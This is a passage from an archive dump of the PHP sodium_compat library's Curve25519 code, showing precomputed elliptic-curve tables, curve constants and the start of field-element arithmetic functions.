                array(28816045, 298879, -28165016, -15920938, 19000928,
-1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595,
-13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339,
4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314,
15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731,
2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968,
-5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557,
-1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655,
-1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179,
11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051,
-31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564,
5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840,
2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451,
13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459,
-13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089,
4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908,
-265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178,
7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136,
-6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378,
-15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850,
295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763,
-14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414,
-11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298,
1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321,
8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957,
12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978,
3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078,
-9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807,
-6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141,
-6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346,
16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961,
3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003,
12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530,
-12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921,
-15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972,
-12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721,
-4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781,
15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836,
-4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278,
11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130,
15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470,
-3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095,
2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742,
6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586,
9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345,
-434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120,
8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328,
13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527,
-16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362,
15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422,
1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135,
13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293,
10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028,
12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880,
7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965,
-868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511,
-2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347,
365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846,
-10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427,
-6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513,
-15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577,
-4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667,
13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073,
-238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090,
14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427,
-6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782,
-16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189,
-4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421,
14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126,
-13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847,
10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479,
4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999,
189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634,
5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835,
-13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724,
7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545,
-4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758,
14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661,
-11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275,
9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448,
-6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177,
7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205,
-6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117,
-4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414,
-7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719,
10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142,
16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927,
-912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734,
-11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860,
890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036,
15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114,
-12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255,
-2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459,
-15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107,
-2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068,
9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918,
-3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692,
-994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304,
4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797,
4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763,
13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503,
-6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914,
-5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844,
607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760,
12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930,
-10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671,
-16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524,
-11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877,
-14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671,
225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547,
-6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352,
-7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614,
-13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956,
-13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647,
-9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590,
-7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167,
1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996,
-7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566,
-13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565,
778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881,
-3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110,
-3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940,
11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392,
11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342,
-6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256,
-2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244,
-6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504,
-15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522,
-9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339,
690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521,
-9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043,
4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045,
14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221,
6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112,
-16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293,
-16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471,
13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599,
16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036,
-4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168,
15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028,
3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985,
-13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186,
-1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071,
1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231,
-10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402,
10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974,
-6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863,
7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849,
-12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543,
14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669,
-8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671,
-11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724,
-2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454,
2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309,
10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807,
-14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129,
6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584,
-8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286,
6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542,
-14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625,
3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360,
14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111,
-12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761,
-1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732,
-13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672,
-7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818,
13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694,
3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523,
-10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716,
14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266,
-1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568,
13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288,
-5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array<int, array<int, array<int, int>>>
basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986,
12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696,
-25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873,
19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316,
-31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406,
8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617,
-10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672,
-2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661,
-9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782,
9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875,
-15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474,
-16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817,
11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427,
-5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023,
-18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737,
-5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979,
-2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     *
37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d =
16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
PK	�[珉��Vchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/README.mdnu�[���#
Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519
code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
PK	�[4n�5bbPchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref
https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core32_Curve25519 extends
ParagonIE_Sodium_Core32_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                ParagonIE_Sodium_Core32_Int32::fromInt(1),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_add(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = $f[$i]->addInt32($g[$i]);
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $arr */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            $h[$i] = $f[$i]->xorInt32(
                $f[$i]->xorInt32($g[$i])->mask($b)
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe
$f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte
string.');
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $h0 */
        $h0 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4($s)
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h1 */
        $h1 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 4, 3)) << 6
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h2 */
        $h2 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 7, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h3 */
        $h3 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 10, 3)) << 3
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h4 */
        $h4 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 13, 3)) << 2
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h5 */
        $h5 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4(self::substr($s, 16, 4))
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h6 */
        $h6 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 20, 3)) << 7
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h7 */
        $h7 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 23, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h8 */
        $h8 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 26, 3)) << 4
        );
